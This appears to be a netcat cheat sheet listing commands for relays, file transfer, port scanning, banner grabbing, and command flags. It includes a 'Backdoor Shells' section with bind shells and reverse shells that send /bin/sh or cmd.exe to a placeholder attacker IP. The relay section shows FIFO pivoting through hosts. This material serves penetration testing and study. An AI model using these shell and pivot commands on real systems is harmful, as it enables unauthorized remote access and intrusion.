- Fundamentals
- nc [target-ip] [port]
- client to listener
- nc -lp [port]
- create listener
- NetCat Relay on Windows
- c:\> cd c:\tmp
- create temp dir for the .bat file(s)
- c:\> echo nc [target-ip] [port] >relay.bat
- c:\> nc -l -p [localport] -e relay.bat
- Above will relay from NC listen to NC client
- relay packets from local port [localport] to NC client connected to [target-ip] on port [port]
- c:\>echo nc [target-ip] [port] >relay.bat
- nc [source-IP] [Source-port] -e relay.bat
- Above will relay from NC client to NC client
- relay that will route packets from the connection to [source-ip] on [source-port] to a NC client connected to [target-ip] on [target-port]
- c:\>echo nc -l -p [local-port-2] >relay.bat
- c:\>nc -l -p [local-port-1] -e relay.bat
- relay from NC listener to NC listener
- ceate relay routing packets from any connection connected to [local-port-1] to any connection connected to [local-port-2]
- Files push/pull
- # nc [target-ip] [port] <[infile]
- push a file
- #nc -l -w3 -p [local-port] <[outfile]
- pull a file that is being pushed, close connection after 3 seconds
- time to wait can be adjusted
- NetCat port scanner
- # nc -v -n -z -w1 [target-ip] [start-port] -[end-port]
- attempt connection on ports [start]-[end]
- run verbosely -v
- not resolve names -n
- no sending of data -z
- wait for 1 second for connection -w1
- option: randomize ports -r
- TCP Banner Grubber
- #echo “” |nc -v -n -w1 [target-ip] [start-port]-[end-port]
- send blank string to get banner.
- Backdoor Shells
- # nc -l -p [port] -e /bin/sh
- shell on linux
- c:\> nc -l -p [port] -e cmd.exe
- shell on windows
- # nc [attacker-ip] [port] -e /bin/sh
- reverse shell on linux
- c:\>nc [attacker-ip] [port] -e cmd.exe
- reverse shell on windows
- NetCat Relays on Linux
- cd /tmp
- mknod backpipe p
- create FIFO called backpipe
- nc -l -p [local-port] 0<backpipe |nc [target-ip] [trgt-port] | tee backpipe
- relay from NC listener to NC Client
- route packets from [local-port] to NC Client connected to [target-ip] on [trgt-port]
- nc [source-ip] [src-port] 0<backpipe |nc [target-ip] [trgt-port] | tee backpipe
- relay from NC client to NC Client
- route packets from connection on [source-IP] [src-port] to a NC client connected to {target-ip] [trgt-port]
- nc -l -p [local-port-1] 0<backpipe |nc -l -p [local-port-2] | tee backpipe
- relay from NC Listener to NC Listener
- route packets from any connection connected to port [local-port-1] toany connection connected to [local-port-2]
- NetCat command Flags
- nc -[options] [target-ip] [port/s]
- listen -l
- listen harder(persistant, start listen again after disconnect) -L
- UDP mode (default is TCP) -u
- Local Port -p
- Execute program after conn. - e
- no dns lookup -n
- zero-data, do not send any data -z
- timout for disconnect -w#
- verbose out -v
- very verbose -vv